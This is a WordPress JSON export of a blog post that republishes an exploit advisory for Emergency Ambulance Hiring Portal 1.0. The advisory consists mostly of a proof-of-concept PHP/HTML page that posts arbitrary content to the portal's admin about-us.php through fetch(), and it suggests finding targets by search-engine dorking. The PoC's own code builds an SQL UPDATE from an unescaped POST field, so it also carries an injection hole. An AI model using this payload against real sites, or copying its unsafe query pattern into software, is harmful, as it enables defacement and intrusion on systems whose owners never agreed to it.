{"id":59620,"date":"2024-09-11T20:00:06","date_gmt":"2024-09-11T17:00:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181442\/eahp10-inject.txt"},"modified":"2024-09-11T20:00:06","modified_gmt":"2024-09-11T17:00:06","slug":"emergency-ambulance-hiring-portal-1-0-wysiwyg-code-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/emergency-ambulance-hiring-portal-1-0-wysiwyg-code-injection\/","title":{"rendered":"Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/phpgurukul.com\/emergency-ambulance-hiring-portal-using-php-and-mysql\/ |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] Part 01 : about-us.php<\/p>\n[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file \/hms\/admin\/about-us.php . <\/p>\n[+] Line 2 : Make sure to include your database connection here<\/p>\n[+] Line 44 : Send the form data using fetch API (Set your target url)<\/p>\n[+] save payload as poc.php in your localhost path .<\/p>\n[+] payload : <\/p>\n<p>&lt;?php<br \/>include(&#8216;http:\/\/127.0.0.1\/eahp\/admin\/includes\/dbconnection.php&#8217;); \/\/ Make sure to include your database connection here<\/p>\n<p>if (isset($_POST[&#8216;submit&#8217;])) {<br \/>$pagetitle = $_POST[&#8216;pagetitle&#8217;];<br \/>$pagedes = $con-&gt;real_escape_string($_POST[&#8216;pagedes&#8217;]);<br \/>$query = mysqli_query($con, &#8220;UPDATE tblpage SET PageTitle=&#8217;$pagetitle&#8217;, PageDescription=&#8217;$pagedes&#8217; WHERE PageType=&#8217;aboutus'&#8221;);<\/p>\n<p>if ($query) {<br \/>echo &#8216;&lt;script&gt;alert(&#8220;About Us has been updated.&#8221;)&lt;\/script&gt;&#8217;;<br \/>} else {<br \/>echo &#8216;&lt;script&gt;alert(&#8220;Something Went Wrong. Please try again.&#8221;)&lt;\/script&gt;&#8217;;<br \/>}<br \/>exit;<br \/>}<br \/>?&gt;<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;indoushka | Update About Us Content&lt;\/title&gt;<br \/>&lt;!&#8211; NicEdit Script &#8211;&gt;<br \/>&lt;script src=&#8221;http:\/\/js.nicedit.com\/nicEdit-latest.js&#8221; type=&#8221;text\/javascript&#8221;&gt;&lt;\/script&gt;<br \/>&lt;script type=&#8221;text\/javascript&#8221;&gt;<br \/>\/\/ Apply NicEdit to all text areas when the DOM is loaded<br \/>bkLib.onDomLoaded(nicEditors.allTextAreas);<\/p>\n<p>\/\/ Function to handle form submission using JavaScript<br \/>function submitForm(event) {<br \/>event.preventDefault(); \/\/ Prevent default form submission<\/p>\n<p>const pagetitle = document.getElementById(&#8216;pagetitle&#8217;).value;<br \/>const pagedes = nicEditors.findEditor(&#8216;pagedes&#8217;).getContent(); \/\/ Get the NicEdit content<\/p>\n<p>\/\/ Prepare the form data to be sent<br \/>const formData = new FormData();<br \/>formData.append(&#8216;pagetitle&#8217;, pagetitle);<br \/>formData.append(&#8216;pagedes&#8217;, pagedes);<br \/>formData.append(&#8216;submit&#8217;, true);<\/p>\n<p>\/\/ Send the form data using fetch API<br \/>fetch(&#8216;http:\/\/127.0.0.1\/eahp\/admin\/about-us.php&#8217;, {<br \/>method: &#8216;POST&#8217;,<br \/>body: formData,<br \/>})<br \/>.then(response =&gt; response.text())<br \/>.then(data =&gt; {<br \/>alert(&#8216;About Us content has been updated successfully.&#8217;);<br \/>console.log(data); \/\/ Handle the response from the server<br \/>})<br \/>.catch(error =&gt; {<br \/>console.error(&#8216;Error:&#8217;, error);<br \/>});<br \/>}<br \/>&lt;\/script&gt;<br \/>&lt;style&gt;<br \/>\/* Center the form container *\/<br \/>.editor-container {<br \/>max-width: 800px;<br \/>margin: 0 auto; \/* Center horizontally *\/<br \/>padding: 20px;<br \/>text-align: center; \/* Center the content inside *\/<br \/>}<\/p>\n<p>\/* Ensure the textarea takes the full width *\/<br \/>#pagedes {<br \/>width: 100%;<br \/>height: 300px;<br \/>margin: 0 auto;<br \/>}<br \/>&lt;\/style&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;div id=&#8221;app&#8221;&gt;<br \/>&lt;div class=&#8221;app-content&#8221;&gt;<br \/>&lt;div class=&#8221;main-content&#8221;&gt;<br \/>&lt;div class=&#8221;wrap-content container&#8221; id=&#8221;container&#8221;&gt;<br \/>&lt;!&#8211; Page Title Section &#8211;&gt;<br \/>&lt;section id=&#8221;page-title&#8221;&gt;<br \/>&lt;div class=&#8221;row&#8221;&gt;<br \/>&lt;div class=&#8221;col-sm-8&#8243;&gt;<br \/>&lt;h1 class=&#8221;mainTitle&#8221;&gt;Update the About Us Content&lt;\/h1&gt;<br \/>&lt;\/div&gt;<\/p>\n<p>&lt;\/li&gt;<br \/>&lt;\/ol&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/section&gt;<br \/>&lt;!&#8211; Form Section &#8211;&gt;<br \/>&lt;div class=&#8221;container-fluid container-fullw bg-white&#8221;&gt;<br \/>&lt;div class=&#8221;row&#8221;&gt;<br \/>&lt;div class=&#8221;col-md-12&#8243;&gt;<br \/>&lt;!&#8211; Centering the form using a wrapper div &#8211;&gt;<br \/>&lt;div class=&#8221;editor-container&#8221;&gt;<br \/>&lt;form class=&#8221;forms-sample&#8221; method=&#8221;post&#8221; onsubmit=&#8221;submitForm(event);&#8221;&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label for=&#8221;pagetitle&#8221;&gt;Page Title&lt;\/label&gt;<br \/>&lt;input id=&#8221;pagetitle&#8221; name=&#8221;pagetitle&#8221; type=&#8221;text&#8221; class=&#8221;form-control&#8221; required&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div class=&#8221;form-group&#8221;&gt;<br \/>&lt;label for=&#8221;pagedes&#8221;&gt;Page Description&lt;\/label&gt;<br \/>&lt;!&#8211; NicEdit will enhance this textarea &#8211;&gt;<br \/>&lt;textarea class=&#8221;form-control&#8221; name=&#8221;pagedes&#8221; id=&#8221;pagedes&#8221; rows=&#8221;12&#8243;&gt;&lt;\/textarea&gt;<br \/>&lt;\/div&gt;<br \/>&lt;button type=&#8221;submit&#8221; class=&#8221;btn btn-primary mr-2&#8243; name=&#8221;submit&#8221;&gt;Submit&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;!&#8211; End Form Section &#8211;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/div&gt;<br \/>&lt;!&#8211; Footer &#8211;&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https:\/\/phpgurukul.com\/emergency-ambulance-hiring-portal-using-php-and-mysql\/ |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] Part 01 : about-us.php &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59620","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59620","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59620"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59620\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59620"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59620"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59620"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}